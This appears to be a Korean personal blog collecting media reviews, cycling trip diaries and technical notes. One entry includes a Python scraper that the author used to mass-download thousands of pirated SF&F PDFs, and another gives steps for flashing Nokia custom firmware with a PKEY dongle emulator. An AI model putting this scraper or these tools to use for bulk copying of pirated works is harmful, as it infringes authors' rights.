토리그비 에밀슨은 불확정성 원리를 놓고 다음과 같은 농담을 떠올렸다. "역사학자들은 하이젠베르크가 자신의 삶을 반추하다가 불확정성 원리를 발견했다고 하는데, 내가 보기에도 일리있는 주장이다. 어쩌다가 놀 시간이 나면 에너지가 부족하고, 시기가 적절하면 자신이 어디 있는지 알 수가 없다"
웃기는 과학교양서가 정말 좋다.

라이어, 존 하트: 해피엔드로 끝나는 시골 스릴러. 맹점에 속아 넘어가 범인을 제대로 짚어내지 못해 약이 올랐다. 나중에 같은 저자의 글을 읽어도 재미있을까? 한 권쯤 더 읽어봐야 알 것 같다. 뒤져봤더니 달랑 한 권 번역되었다.

은하수를 여행하는 히치하이커를 위한 안내서: 한 가지 더, 이오인 콜퍼: HHGTG 팬픽인데 원작삘이 잘 살아(심지어 더글라스 아담스를 능가하는 광기어린 오버질까지) 그럭저럭 즐겁게 읽었다. 더글라스 아담스는 죽어서 가죽을 남겼다. 많은 팬들과 함께...

제빵왕 김탁구: 시청율이 무려 40%나 되는 시리즈. 일본 드라마인 줄 알았다. 20개의 에피소드를 이틀에 걸쳐 봤다. 앞 몇 에피소드가 막장스런 아침 드라마 분위기지만 맥락은 일본 드라마처럼 진행되고, 일본인 캐릭터에 비하면 훨씬 감칠맛나고 매운 한국형 캐릭터들이 등장한다. 배역 이름은 김탁구 밖에 기억나지 않는데, 회장님과 사모님의 패션은 썩 좋은 눈요기꺼리였다. 드라마 탓에 빵 만들기가 만만해 보였다. 오븐을 구입할까? 저녁에 반죽을 만들어 놓고 아침까지 숙성시켰다가 오븐에 굽고 그 빵을 딸애한테 먹이는 것이다. 아이는 울면서 빵을 먹으며 '맛있어요'라고 말하고.

How I Met Your Mother:  코메디 맞지?
"You have to choose right now."
"I choose bimbos."
 "What?!"
"Hey, Lily, bimbos make me happy. Bimbos make me feel alive. Bimbos make me want to pretend to be a better man."
"No, no, this is just a defense mechanism. because you're afraid of getting hurt. You're just confused."
"Oh, I'm not confused, Lily. You know who is confused? Bimbos. They're easily confused. It's one of the thousand little things I love about them. I love their vacant, trusting stares; their sluggish, unencumbered minds; their unresolved daddy issues. I love them, Lily, and they love me. Bimbos have always been there for me, through thick and thin. Mostly thin."

EIDF가 시작되었다. 바빠서 한 편 제대로 감상할 새가 없었다. 일주일 만에 페스티벌이 속절 없이 끝나버렸다. 하지만  torrent가 있다.

스페이스 투어리스트
스페이스 투어리스트. 국민 세금을 탕진해 뽑기 이벤트를 해서 최종 선발한 어떤 한국인 행운아의 시시한 얘기에 관심이 없어 언론 기사를 제대로 본 적이 없지만(신문 연예면 가십 같달까?) , 이 다큐는 꽤 재밌다. 한국 정부 관료의 머리에 꽉 찬 똥이 우주개발사업을 뽑기운, 날림공사, 영성체험 또는 대국민 홍보사기극 따위로 만들어 버렸는데, 정부란게 하는 짓이 생각없고 병신같아야 진정 정부답다는 생각마저 들었다.

민간 우주여행을 다녀온 안사리는 그 유명한 안사리 엑스프라이즈를 만들었고, 그게 훗날 구글 루나 엑스프라이즈(GLXP)로 발전했다. 다큐멘터리가 의외의 방향으로 진전되었다. 후반 40분은 그야말로... 아참, 알만한 사람은 다 아는 찰스 시모니는 돈지랄로 우주관광하는 백만장자로 나와 늘그막에 훈련받느라 고생했다. 천칭의 무게 중심이 잘 맞았던 다큐였고, 러시아가 우주관광산업으로 살림이 나아졌는지 도표를 곁들여 보여줬더라면 더 좋았을 것 같았다.

Sherlock
Sherlock. 셜록 홈즈의 현대판. 셜록홈즈의 미친 광팬들에 대한 예우도 갖췄고 현대적인 연출 솜씨도 그렇고 인물 조형도 흠 잡을 데가 없다. 영화판의 느끼한 BL물스런 분위기도 없었다. 왓슨이 좀 찌질해 보여서 안 쓰럽긴 한데, 그나저나 어디서 저런 매력적인 주연 배우를 구했지?

Warehouse 13
Warehouse 13 Season 2. 시리즈가 재개된 줄도 모르고 있었다. 등장하는 가젯 대부분에 고풍스런 역사가 스며 오덕향을 제대로 풍겨줘야 하는데 그렇질 못한데다 소재가 빈약하니까 수퍼내추럴같은 등신 콤비물로 만들 기미가 보여 2기 나오면 망할 드라마라고 생각했다. 그렇지만 SF 개그물은 우울한 인생에 빛이 되주는 관계로 뭐든 환영한다.

Warehouse 13
Warehouse 13. 빅토리안 스팀펑크스러운 안틱 통신기를 제대로 활용해 보라고. 디자인만 있지 그걸 받쳐주는 잘 연결된 고증과 스토리(덕후담)가 없잖아?

Warehouse 13
Warehouse 13. 에셔 볼트를 거니는 두 사람. Syfy 채널에서 방영하는 드라마라 그런가? 요즘 SF 추세일지도 모르겠는데, SF라는 어깨뽕을 빼고 아이디어나 소재, 주재가 생활밀착형 편재를 지향하며 대중에게 먹히는 드라마가 되기 위해 꾸준히 형변환을 해 온 몇몇 드라마가 있어왔다. Warehouse 13 뿐만 아니라 Eureka, Kyle, Fringe 등은 SF같지 않은 SF였다. 심지어 유레카의 컴퓨터 기크와 웨어하우스의 컴퓨터 기크는 기탄없이 서로의 세계를 방문하는 사이다. 없는 살림에 엔터테인먼트라곤...


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phenomenology

잡기 2010. 8. 12. 23:56
김씨가 인터넷에서 하는 반달 행위를 트롤링이라고 하길래 한참 못 알아듣다가 뒤져보니, 제물낚시를 말하는 거였고 '순수' 한국어로는 낚시질이었다. 커뮤니티 사이트 같은 곳에 제목과 다른 글을 올려놓거나 기사 제목과 따로 노는 헛소리를 본문으로 적는 신문 기사에 속아 넘어가는 것을 '낚였다'고 말할 때의 그 낚시질이었다.

제목을 잘 쓰면 블로그가 온 사방에 노출된다. 역으로 말해 남들 관심 없어하는 주제와 소재를 이용한 일반 명사만을 사용하는 제목을 적어야 불필요한 환경 오염을 예방할 수 있다. 설령 지극히 작은 부분에 불과하더라도 내 라이프타임 스토리는 쪽팔리고 찌질한 비망록 같은 것이라 사람들의 시선에 평가받는 걸 즐기지도 않을 뿐더러 블로그질을 사회화된 동물로써 당연히 치러야 할 업보(?)로 생각지 않았다. 아함.

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17800원짜리 신발. 막 신는 싸구려 신발을 샀더니 바닥판이 잘 고정되지 않아 뛰거나 산을 탈 때는 쓸 수 없을 듯. 매시 소재라더니 겉감만 매시였다. 이런 저런 이유로 일상생황에서 사용할 신발 역시 등산화가 최고 같다.

김씨가 SF&F pdf가 잔뜩 널려 있는 보물단지 같은 사이트를 알려줬다. 웹 스파이더로 긁을 수 없는 형태라서 pdf 다운로드용 python 스크립트를 작성했다.

500여편 다운받는데 4시간 넘게 걸렸다. 스크립트를 그대로 걸어둔 채 퇴근. 700여편 정도 다운 받다가 웹 사이트가 다운되었는지 응답이 없어 다운로드에 실패. 집에서 스크립트를 일부 수정해 일단 목록만이라도 다운받도록 해서 돌리고 아침에 확인해 보니 2800여개 목록만 얻어오고 역시 실패.

목록을 바탕으로 2800여개의 pdf를 수집하는 한 편, 에러가 나도 가능한 거머리처럼 악착같이 목록을 받아오도록 스크립트를 수정해서 실행하고 목록이 만들어지는 대로 pdf를 다운로드 했다. 에러 안 나고 목록을 모두 다운 받았다. 그래도 사이트가 느려 주말 내내 스크립트가 돌아갈 것 같다. 토요일 오후 완료. 1453명의 작가, 9645편의 작품, 4GB의 용량 -- 이 정도면 그 웹사이트가 불법복제계의 끝판왕은 되지 싶은데?

언어에 익숙하지 않아서 그렇지, 파이썬은 적은 줄수와 적은 노력으로 우아하고 잘 작동하는 스크립트를 작성할 수 있어 쓸 때마다 마음에 든다. 제대로 배울 틈은 없지만 필요할 때마다 익혀서 사용하는 정도로 만족했다.

[code]#!/usr/bin/python# -*- coding: utf-8 -*-import timeimport osimport sysimport socketfrom HTMLParser import HTMLParserfrom urllib2 import urlopensocket.setdefaulttimeout(1000.0)base_url = "http://..."class Spider(HTMLParser): def __init__(self): HTMLParser.__init__(self) def collect(self, url, cond): self.data = "" self.xref = "" self.cond = cond self.lst = {} fc = 0; failed = True while failed: try: req = urlopen(base_url + url) self.feed(req.read()) return self.lst except socket.error, msg: fc +=1 if fc > 100: raise print 'Request Error:', msg time.sleep(2) def handle_starttag(self, tag, attrs): self.xref = "" self.data = "" if tag == 'a' and attrs: self.xref = attrs[0][1] def handle_data(self, data): self.data = self.data + data def handle_endtag(self, tag): if tag == 'a' and self.xref[:len(self.cond)] == self.cond: self.lst[self.xref] = self.data self.data = "" st = time.time()f = open("list.bat", "w")sp = Spider()mainpage = sp.collect("...", "...")for aurl, author in mainpage.iteritems(): # author's book list print author books = sp.collect(aurl, "...") for burl, title in books.iteritems(): # get pdf url from each book pdfpage = sp.collect(burl, "...") for purl, fulltitle in pdfpage.iteritems(): # only one # save pdf url print "\t", fulltitle s = "wget -c -O \"" + fulltitle + "\" " + base_url + purl; # os.system(s) f.write(s) f.write("\n") f.flush()f.close()print "\nJob done. %.0f" %(time.time() - st), "secs ellapsed"[/code]

Free PDF to Word Doc Converter를 사용하면 PDF 파일을 마이크로소프트 워드 포맷으로 변환이 가능하다. 다른 것들도 시험해 봤는데 저 프로그램이 개중 나은 듯. 배치 변환이 안된다.

날이 더워서 쉬 지친다. 자전거 타고 장거리 여행은 여건상 힘들다. 여건: 체력.
 
운동삼아 일주일에 두 번 정도 집에서 사무실까지 약 40분 거리를 시간 되는 대로 자전거 타고 출퇴근 했다. 사무실에 갈 때는 15km, 올 때는 의왕의 왕송 저수지를 에두르는 코스로 약 20km 정도인데, 이런 정도로는 장거리 여행에 필요한 기초 체력을 다질 수 없다. 주말에는 아이와 놀아줘야 하므로 오히려 자전거를 탈 시간이 나지 않았다. 아무래도 자전거 여행을 하려면 일주일은 돌아다녀야 여행이 여행같아진다.

주말에 아내가 아이 데리고 놀러간다고 해서 모처럼 시간이 나 자전거를 몰고 85km쯤 달렸다. 오랫만에 여러 시간 자전거에 앉았더니 엉덩이가 아프다. 석수역까지 자전거를 끌고가 바로 이어지는 안양천 자전거 도로를 타고, 한강 자전거 도로를 지나 탄천변 자전거 도로를 달리다가 죽전 근처에서 43번 국도를 타고 수원으로 돌아왔다.

여의도 물빛 광장
여의도 물빛 광장. 야트막한 케스케이드 폭포. 서강대교와 마포대교 사이. 맞은편은 빛의 카페, 이 근처 어딘가 플로팅 스테이지, 한강 100:1 축소한 피아노 물길 등. 물빛 광장에 발 담그고 점심 도시락으로 만들어 온 샌드위치를 먹었다. 물때가 많이 낄 것 같은데 전반적인 '느낌'은 청계천 짝퉁 같았다.

탄천변 노천 수영장
자전거 타고 탄천에 처음 와 봤다. 탄천 변 수영장. 지나가다가 이런 수영장을 몇 개 보았다. 샤워장 이용료 별도에, 무료로 운영되는 것 같은데?  애들 부모한테는 엄청 매력적이겠다. 작년에 자전거 여행 중 삼척 근처에서 우연히 발견하고 놀다간 곳이 생각났다. 흐르는 개울 바닥을 조금 더 파내 친환경 천연 실외 수영장을 만들어 놓았다. 실로 감탄했다. 수도권 인근에서는 물가에 인공 구조물로 물놀이터를 만드는 방법 말고는 뾰족한 수가 없어 보인다. 그러니까 냄새나는 2급수 하천 옆에 수돗물로 관리 잘 되는 수영장 같은.

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더워서 수내역 앞 편의점에서 아이스크림을 사먹고 아마도 황새울 다리로 짐작되는 곳을 건너며 찍은 사진. 분당, 판교 지역에는 늘 한밤중에 술먹으러만 와 봤다.  지리고 뭐고, 한때 로또 동네로 소문났던 이 곳에 관해 아는 게 없다. 하여튼 수원 영통 지구나 이곳을 보다가 집 근처를 돌아보면 낙후된 촌동네에 거주하고 있는 것 같았다. 글쎄, 잘 모르겠다. 쿄님 말로는 수원이 교육열이 지랄같이 높은 동네라던데. 옆에 있던 고님도 맞장구를 치고. 다들 낙후된 환경에서 살다보니 공부해서 신분상승에 열을 올리는건가?

주말에 혼자서 맥주 1000cc에 프라이드 치킨 한 마리를 주문해 먹는다니까 그런 말을 듣는 사람마다 놀랬다. 닭 한 마리라고 기껏 해봤자 큰 것이 1.2kg 정도인데 뼈를 발라내면 많아도 800~900g 내외다(밥 한 공기가 200g 가량 되고, 국과 반찬을 다 합치면 한끼에 먹는 양은 400~500g 가량, 식사 한 끼로 섭취하는 칼로리는 1500~2500kcal 정도 되지 싶다). 4시간 정도 자전거를 타서 82km를 움직였다면 약 4200kcal를 소비한다. 맥주 1000cc 는 450kcal 정도,  프라이드 치킨 800g은 2500kcal 정도 된다. Q.E.D.

프라이드 치킨을 주로 먹고 양념 치킨은 왠간해선 먹지 않았다. 양념치킨은 그냥 이단이다. 마늘, 간장, 매운맛, 오븐구이, 그외 기억나지도 않는 여러 종류의 슬립스트림을 다년간 시도했지만 언제나 프라이드로 복귀했다.

그렇게 정도를 지키는 치맥을 추구하다가 저번 주에는 파닭을 처음 먹어봤다, 이건 또 새로운 세계. 닭튀김에 단순히 파를 얹어 먹는 것인데 전혀 맛이 다르다. 집에서 한 번 시켜 먹었는데 느끼하지 않아 좋았다. 설악산, 지리산, 한라산을 연달아 가는 계획을 세워놓은 황씨를 만날 때도 파닭을 먹었다.  그때는 마늘 치킨에 파를 얹었는데, 배달치킨과 달랐다. 배달 치킨은 덮어놓은 케이스 안에서 파가 대충 익어 파의 숨이 대충 죽고 매운 맛이 사그라 드는데 매장에서 시켜 먹은 파닭은 닭 위에 단순히 파를 얹어 놓은 것이라 매운 파 맛이 오랫동안 입 안에 맴돌았다.

다음 주말, 아내가 아이를 데리고 친구와 대천 해수욕장에 놀러 간단다. 댕큐. 워낙 사람 많은 곳을 싫어하는 내 저주받을 성격 탓에 같이 가지 않고 샌드위치나 만들어 챙겨주고 떠나 보냈다. 그리고 웹으로 날씨를 훌터본 다음 자전거를 몰고 바로 집을 나왔다.

평택호
아산 방조제길. 평택호. 8월 8일. 온양온천역까지 전철을 타고 갔다. 거기서 서해안을 두루 돌다가 수원까지 돌아오는 코스를 잡았다. 대략 120km 정도. 오후 한 시 출발. 그런데 날씨가 안 도와줬다. 일기예보의 현재 기상 상태라면 평택, 아산 인근에는 비가 오고 있어야 했다. 비가 오던가 날이 흐려야 달릴만 하다. 그런데 왠걸. 섭씨 33도에 이렇게 해가 쨍쨍하다. 이런 도로를 30분 달리니까 금방 지친다.

진위천
찌는듯이 더운 가운데 어느 조그만 휴게소에서 싸온 김밥 두 줄과 우유를 먹고 마셨다. 너무 더워 120km 코스는 포기했다. 하여튼 달리긴 달려야 했다. 진위천을 따라가면 오산에 이를 수 있을꺼라 막연히 믿고 갔다가 엄한 비포장 길 사이를 오락가락 했다.

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정신을 못 차리겠다. 대기 기온이 33도지, 달아오른 아스팔트 탓에 후끈거리는 종아리에 느껴지는 기온은 36도 이상이다. 2005년 8월 13일 자전거를 타던 날 날씨가 지금 같았다. 햇살과 더위 속에서 달랑 500cc 짜리 물 한 병으로 간신히 버텼다.  

숙성교와 숙성라멘교 사이 어느 지점에서 잘린 엄지 손가락이 버려진 것을 보았다. 더위에 헛 것을 본 것일까? 아차 하는 사이에 잠자리를 밟아 죽였다. 로드킬 중에 너구리가 있었다. 비포장길을 가로지르는 뱀을 보았다.  

오산 공군 기지 옆 비포장길을 달리다가 뒷바퀴에 펑크가 났다. 자전거나 다리가 흙탕물 범벅이다. GPSr을 살펴보니 가장 가까운 역까지 11km 가량 남았다. 2km쯤 자전거를 몰았다. 펑크났을 때는 자전거를 타면 휠이 망가진다. 하지만 이 더위에 인적없는 이곳에서 11km를 걸을 수는 없었다. 삼거리 도로변 나무에 앉아 쉬었다. 물은 다 떨어졌다. 기운을 내서 자전거를 끌고 걸으면서 보이는 트럭을 잡아 근처 지하철 역까지 가려 했지만 아무도 차를 세워주지 않는다. 사내처럼 욕하고 사내처럼 걸었다.

증오스러운 뙤약볕 아래에서 씩씩하게 걷고 있는데 건너편 길가 나무 그늘에 앉아 있던 아저씨가 빵구 났냐고 소리쳤다. 네, 혹시 자전거 펌프 있어요? 있단다. 펌프에, 대야도 하나 빌려 물을 받아 놓고 그늘에 철퍼덕 주저앉아 타이어 구멍을 때우며 그 동네의 두 아저씨와 값비싼 자전거 얘기를 두런두런 나눴다. 아저씨 친척은 천만원이 넘는 자전거를 끌고 다닌단다. 그 동네에서 오산으로 출퇴근하는 어떤 아저씨는 250만원 짜리를 끌고 다녔다. 나는 오늘 지하철 타고 오는 길에 견적이 3-400은 나올 것 같은 자전거를 봤다.

이렇게 좋은 자전거 펌프가 있다니 놀랍군요 라고 말하니, 요새 시골 농가에 자전거 펌프 없는 집 없단다. 자전거 공기 주입 밸브가 꼴에 프레스타 타잎인데, 다행히 늘 컨버터 플러그를 가지고 다녀 던롭 펌프로 공기를 넣을 수 있었다. 안쪽 튜브를 꺼내 물 속에 담그고 보글보글 올라오는 기포를 보았다. 펑크는 비교적 쉽게 찾았다. 찢어지지 않았고, 압정에 찔린 듯 동그란 구멍이 나 있었다.

고맙습니다, 펑크를 때우고 물 한 잔 얻어 먹고 출발했다. 전혀 모르는 이상한 길을 따라 오산역으로 향했다. 어느새 다섯 시가 넘었다. 시내를 두리번 거리며 돌아 다니다 롯데마트를 발견했다. 롯데리아에서 4500원짜리 값 비싸고 맛있는 팥빙수(베리빙수?)를 먹고 마시고 그것도 모자라 물을 연거푸 들이켰다. 지쳤다. 역으로 향했다. 무수한 외국인 노동자들이 그늘에서 쉬고 있었다. 베트남어, 태국어가 들려온다. 이국에서 심심하고 외로워 보인다. 지하철에 자전거를 실었다. 자판기에서 음료수를 하나 뽑아 마셨다.

집에 돌아와 GPSr을 살펴보았다. 주행거리는 겨우 62km, 3시간 달리고 1시간 30분 가량 쉬었다.  뭐 이런 깡패같은 날씨가 다 있나 싶었다. 날 더울 때 한 번 더 실험해 보자 -- 물이 충분하다면 버틸만한가 아니면 이런 더위는 버틸 수 없는 종류의 장해인가?

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아무튼 단 한 번의 땡볕 주행으로 어엿한 '미녀와 야수' 다리를 만들었다. 어 생각보다 징그럽군.

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펑크난 채 울퉁불퉁한 비포장 도로를 달리다보니 휠이 휘어진 것 같아 자전거를 손봤다. 자전거를 뒤집어 놓고 케이블 타이를 프레임에 묶어  림에 아슬아슬 닿게 만들고(휠 조정용 캘리퍼스 대용) 바퀴를 살살 돌리다가 케이블 타이에 걸리면 그 위치 부근에 있는 스포크의 장력을 스포크 렌치로 조절했다.

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서늘한 광채, 댄 로이드. 모처럼 재미있게 본 소설 형식의 뇌과학 교양서. 현상학과 fMRI의 다변량 해석이 만났다. 책에는 삽화가 여러 장 있었고, 소설이 꽤 재밌지는 않았지만 깔끔하고 질리지 않았으며 위트가 넘쳤다. 꽤 다양한 견해를 소설화했다. 아무래도 자기와 견해가 다른 인지과학자들을 대놓고 까대긴 그렇고, 엄청나게 복잡하고 다양하고 말도 많고 성과는 쥐꼬리 같은 인지과학을 포괄적으로 해설하자니 시간낭비고 해서 소설로 가볍게 풀어놓은 것 같다. 아무튼 글솜씨가 있으니 좋은 작가다.
1리터 정도의 부피에 불과한 인간의 뇌가 그 안에 내포하고 있는 개념적이고 인지적인 가능성의 공간은 천문학적 우주 전체보다도 더 크다. 뇌의 이러한 놀라운 속성은 1000억개의 뉴런과 그들을 연결하는 100조개의 시냅스의 조합 때문이다. ... 뇌가 고유하게 가질 수 있는 시냅스 연결의 가능한 배열은 대략 계산해서 10의 100조승이다. ... 세스는 이 값에다가 '마음 Mind'이라고 이름붙였다. ... 전시실 한 가운데엔 윤기 나는 까만 받침돌 위에 물이 채워진 유리잔이 반짝이고 있었다. 그 옆엔 '이 유리잔 안에 있는 분자들의 가능한 배열의 수, 10^1,000,000,000,000,000,000,000,000'이란 문구와 함께 '당신이 있는 곳 You are here'이란 제목이 붙여졌다.

...

맥스는 이 전시를 좋아했다. 개막 전시회에서 그는 낄낄 웃으며 몇 작품엔 사인을 했고, 유리잔 앞에서는 넋이 빠져 황홀한 표정으로 서 있어서 그가 작품의 일부가 되었다는 착각을 줄 정도였다. ... 맥스가 유리잔 받침돌을 형해 몸을 돌리더니 잔을 들고는 마시기 시작했다.

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"다다이즘은 죽었다고들 하더군요.' 세스가 이쪽으로 걸어와 이를 드러내고 씩 웃으며 맥스에게 말했다. 그가 잔을 집어 건배하는 포즈를 취하더니, 잔을 가지고 화장실로 걸어갔다. 예술은 영원하다. 영감의 샘물은 다시 채워질 것이므로.
시냅스 연결이 우주보다 복잡하다느니 하면서 경외감을 억지로 뽑아내는 헛소리를 쿨하게 날려버리는 이런 걸 예술적 균형감각이라고 한다.
"맞아요, 우린 얽혀 살고 있어요. 특히 사랑에 있어 가장 심하게 얽혀 있죠. 사랑하는 사람은 우주도 감싸죠. 마침내 사랑은 층층이 의미로 겹쳐 쌓여 있는 모든 것을 적셔요. 그것이 의식의 핵심 전부예요. 그리고 사랑은 궁극적으로는 현상학이죠."
그녀가 고개를 끄떡였다. "그대의 혀가 지칠 때까지 말해 봐요."
내가 기억하는 현상학은 인식되는 실재의 진실성, 그리고 객관성에 대한 편집증적인 탐구였다. 따라서 사랑은 '궁극적으로' 현상학이 맞다. 삶이 살아지기에, 존재가 존재하기에, 그대가 없으면 세상은 무의미하기에. 웃음.
철학은 보통 위험한 직업이 아니다. 소크라테스 사건 이후 철학자들은 사망에 이를 수 있는 자신들의 최고 사상을 조심스레 감췄다. ... '새로운 것'은 철학자들이 가장 마지막으로 직면하는 것이란 생각이 들었다. 소크라테스가 죽고 나서 우리 철학자들은 플라톤에게 칼을 들이대며 다른 일을 하게 되었다. 사형당하지 않은 몇몇 그리스 철학자들로부터 우리가 익히 배운 것은, 아주 조금이라도 '새로운 것'은 재빨리 '옛 것과 같은 것'이거나 '거짓'이거나 아니면 잘해 봐야 둘 모두인 것으로 판명난다는 점을 확실히 해 두는 것이다. '진실'은 무엇인가? 철학 대학원생이면 누구나 우리의 신념의 내적 일관성과 신념과 세계의 일치에 대해 재빨리 대답할 것이다. '진실'을 고집하기만 하면 영원히 바쁘게 뛰어 돌아다녀야 할 것이다. 그것이 은퇴해서 연금을 받는 것보다 낫다.
한 번도 '진실'을 고집해 보지 않은 인생은 재미가 없거나, 불행하다고 생각했다. 세상 대다수의 견해는 그와 다르지만.
"그런데 우리는 왜 죽음의 순간에 맞닥뜨렸을 때야 비로소 살아 있다는 것을 깨달을까요?" 그가 물었다.
"현상학의 전율의 또 다른 경우군요." 그가 머리를 굴리는 것 같았다.
"내 학위논문 제목이에요. 나는 진정한 현상학적 존재론은 실재하는 무엇을 바로 직면하고 있을 때만 일어난다고 주장합니다. 합리성을 이해하기 위해선 황폐해져 봐야 하고, 사랑의 밑바닥까지 가 보려면 바보처럼 곤두박질쳐 봐야 하고, 세상이 뭔지 알려면 죽어봐야 하는 것이죠."
원숭이 종족 같은 철학과 대학원생이 이런 얘길 한다니 믿어지지가 않는데? 굉장히 늙고 지혜로운 원숭이 같잖아? 합리성을 이해하기 위해선 황폐해져 봐야 한다니, 달리 말해 인도 촌구석을 여행하면 합리성이 얼마나 소중한 것인지 싯달타처럼 깨닫게 된다는 거잖아?
"모든 것이 어떤가, 그것이 정말 문제이지 않습니까? 그 어떤 것도 어떻게 그것이 될 수 있나요?"
"내가 아는 모든 것은, 경험과 세계는 하나란 겁니다. 하나. ... 각각 하나의 패턴이 하나의 경험입니다. 그 패턴들이 뇌에 있죠. 각 패턴은 주체와 객체가 함께 하는 완전한 패키지입니다. 그 패턴은 모든 사물에 대해 우리가 갖고 있는 관계를 이미지화한 것이죠. 그것은 우리 앞에 놓인 세계뿐 아니라 과거와 미래도 포함합니다. 그 모든 것은 그 어느 것보다 더 실재적이죠. 결국 미로는 현실이고 패턴들은 세계입니다. 그 패턴들은 스스로를 드러내 보이는 세계입니다. 세계는 자기 스스로를 보일 때만 존재할 수 있습니다. 그것이 바로 '세계'가 뜻하는 것이자 '세계'의 본질이기도 합니다."
따라서 삶과 우주와 예술과 사랑에 대한 천착은 모두 패턴을 살피는 일이다.
"당신 학과에 누가 있더라? 칸트? 그가 아직 거기 있나?"
"아뇨, 죽었습니다."
"아, 명예 교수로군 강의가 줄었겠군, 응?"
"그렇죠."
"결국 우리는 모두 분해되지, 어? 재는 재로, 텍스트는 텍스트로. 만나서 반가웠어."
21세기 들어 고대 거인들의 잠언은 대부분 불필요해졌다. 설령 빛바랜 권위가 보전된다 해도 이제는 난장이라고 불러도 무방한 과거의 거인 어깨에 올라가 세상을 조망하는 것을 영광스러워 하는 것은 촌티난달까? 재는 재로, 텍스트는 텍스트로.
누군가 연구를 시작하면, 하나의 산이 산으로 보인다. 그리고 연구가 좀 이루어지고 나면, 그 산은 더 이상 산으로 보이지 않는다. 그러나 그 후 연구를 완수하고 나면 그 산은 다시 하나의 산이 된다.
산은 산이다. 산도 산이고.
그런데 그 산은 무슨 산일까? 가 개중 쓸모있다고 판단되는 문장.
세 지표, t, tr, s가 모두 공유하는 것은 뇌가 분산처리 장치란 가정이다. 그 가정 아래에서는 뇌의 어떠한 영역도 많은 기능에 기여할 수 있다. 실제로, 다변수 유사성 측정은 뇌의 모든 부분은 잠재적으로 모든 기능과 관련이 있다는 진보적인 가정을 받아들인다.
시대가 흘러 이제는 자명해 졌다고 생각했는데(분산처리, 전일적 뇌), 그게 진보적인 가정일 줄이야... 2부 실재하는 반딧불이는 1부 현상학의 전율에서 이미 설명한 것들에 철학자다운 지겨운 문장으로 가필한 것 같았다. fMRI로 지금까지 연구해서 얻은 결과가 생각보다 진전이 많지 않음에도.

총몽
총몽 2부. 총몽 첫 시리즈를 대체 언제 봤는지 기억이 나지 않았다. 예전과 마찬가지로 평균 이상의 품질과 컨텐츠를 지닌 SF. 살아야 할 이유를 무척 현상학스럽게 설명하기도.

호타루의 빛
호타루의 빛. 고야를 먹고 있는 호타루. 고야가 뭔가 싶어 뒤져보니 시장에서 가끔 봤던 것이다. 왠지 먹고 싶어졌다.


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V20 정식 펌웨어가 7월 22일 한국 노키아에서 발표되었다. 정식 펌웨어를 사용하면 HelloOX가 작동하지 않아 unsigned apps를 사용할 수 없다. 따라서 V20 정식 펌웨어를 수정한 커스텀 펌웨어(소위 '커펌')을 사용하던가 사이닝이 되지 않은 앱을 모두 사이닝해서 설치하는 수 밖에 없다. 전자가 후자보다 매력적인 이유는, 단지 사이닝 문제 뿐만 아니라, 커펌에는 여러 가지 편리한 mod가 꽤 많이 적용되어 있다는 것 때문. 22일 정식 펌웨어가 올라오고 일주일 정도 기다리니 노키아 사용자 모임에 쓸만한 커스텀 펌웨어들이 올라오기 시작했다.

V20 펌웨어를 설치하면 좋아지는 것:

  • 키네틱 스크롤링 -- 별반 매력이 느껴지지 않음
  • mp3p UI 개선 -- 역시 별로...
  • 웹 브라우저 개선 -- 좋다.
  • ovimap 3.x 설치 가능 -- 한국을 제외한 약 70여개국 routable map이 무료! 한국 지도가 들어가면 값싼 노키아폰이 상당한 매력이 생기지만 한국 노키아의 마케팅 포인트가 그런 돈벌이와는 무관해 보였다.

V10 펌웨어에서 V20 펌웨어 또는 커스텀 펌웨어로 업그레이드할 때 PC Suite의 backup으로 백업본을 만든 후 펌웨어 업그레이드를 하면 복구가 잘 안되는 것 같다. 그냥 app 재설치하는 것이 가장 나은 듯.

작업 절차

휴대폰을 PC와 대용량 저장소로 연결 후:

  • microSD 카드에서 필요한 파일들 백업
  • microSD 포맷 (빠른 포맷)

휴대폰 c 드라이브 초기화 *#7370#

커스텀 펌웨어로 업그레이드

  • 노키아 사용자 모임의 펌웨어 업그레이드 하는 법  참조.
  • 필수유틸모음 다운로드 후 적당한 디렉토리에 푼다.
  • JAFSetup_1.98.62.exe 설치 ( windows 7 64bit에서는 실행되지 않는다.  windows 7 및 windows xp에서 실행 확인.)
  • jaf_nok4models.ini 파일을 c:/program files/odeon/JAF에 복사
  • 순정 V20 firamware 다운로드 (navifirm으로 다운받아도 됨). 다운 받은 순정 v20 firmware 파일을 풀어 C:\Program Files\Nokia\Phoenix\products\RM-356\ 에 모두 복사
  • 적당한 custom firmware를 노키아 사용자 모임에서 다운로드. 다운받은 RM-356_20.7.006_KT_8000_GRAY_prd.rofs3 파일을 C:\Program Files\Nokia\Phoenix\products\RM-356\ 디렉토리에 덮어씀
  • OGM_JAF_PKEY_Emulator_v 5.exe 파일 실행 후 '펌웨어 업그레이드 하는 법' 대로 실행.  
  • 경고 다이얼로그 클릭 후 파워 온 해서 휴대폰이 인식되면 업그레이드를 시작한다.  업그레이드에는 1분 가량 걸림.
  • 커스텀 펌웨어 원리: rofs는 아마도 read only file system의 약어로 추측됨. 원래 rom 파일에  업체별 커스터마이즈를 rofs2 또는 rofs3 파일에 저장해 두면 파일을 찾을 때 우선 순위가  rofs3, rofs2, 오리지널 롬 순으로 되는 것 같다. 휴대폰의 OS 및 파일 시스템 원본 파일(*.C00)은 수정 할 필요없이 rofs2 또는 rofs3 파일 시스템의 파일을 변경한 것이 커스텀 펌웨어이다.  rofs3 파일 시스템의 변경은 무슨 중국 에디터로 하면 되는 것 같은데, 귀찮아서 찾아보지 않았다.

JAF version 1.98.62
Detected PKEY: 90009699
Card life counter: 99.99%
P-key nokia module version 01.02
FBUS INTERFACE NOT CONNECTED!!!
USB Cable Driver version: 7.1.29.0
Changing mode...Done!
FILES SET FOR FLASHING:
MCU Flash file: NONE
PPM Flash file: NONE
CNT Flash file: NONE
APE Variant file: NONE
Searching for JAF saved location of ini...
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\

Searching for default location of ini...
Checking path: \Products\RM-356\
Searching for JAF saved location of ini...
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\
Scanning ini files...
Searching for default location of ini...
Checking path: \Products\RM-356\
Checking path: C:\Program Files\Nokia\Phoenix\Products\RM-356\
FILES SET FOR FLASHING:
MCU Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.core.C00
PPM Flash file: C:\Program Files\Nokia\Phoenix\Products\RM-356\RM-356_20.7.006_prd.rofs2.V32
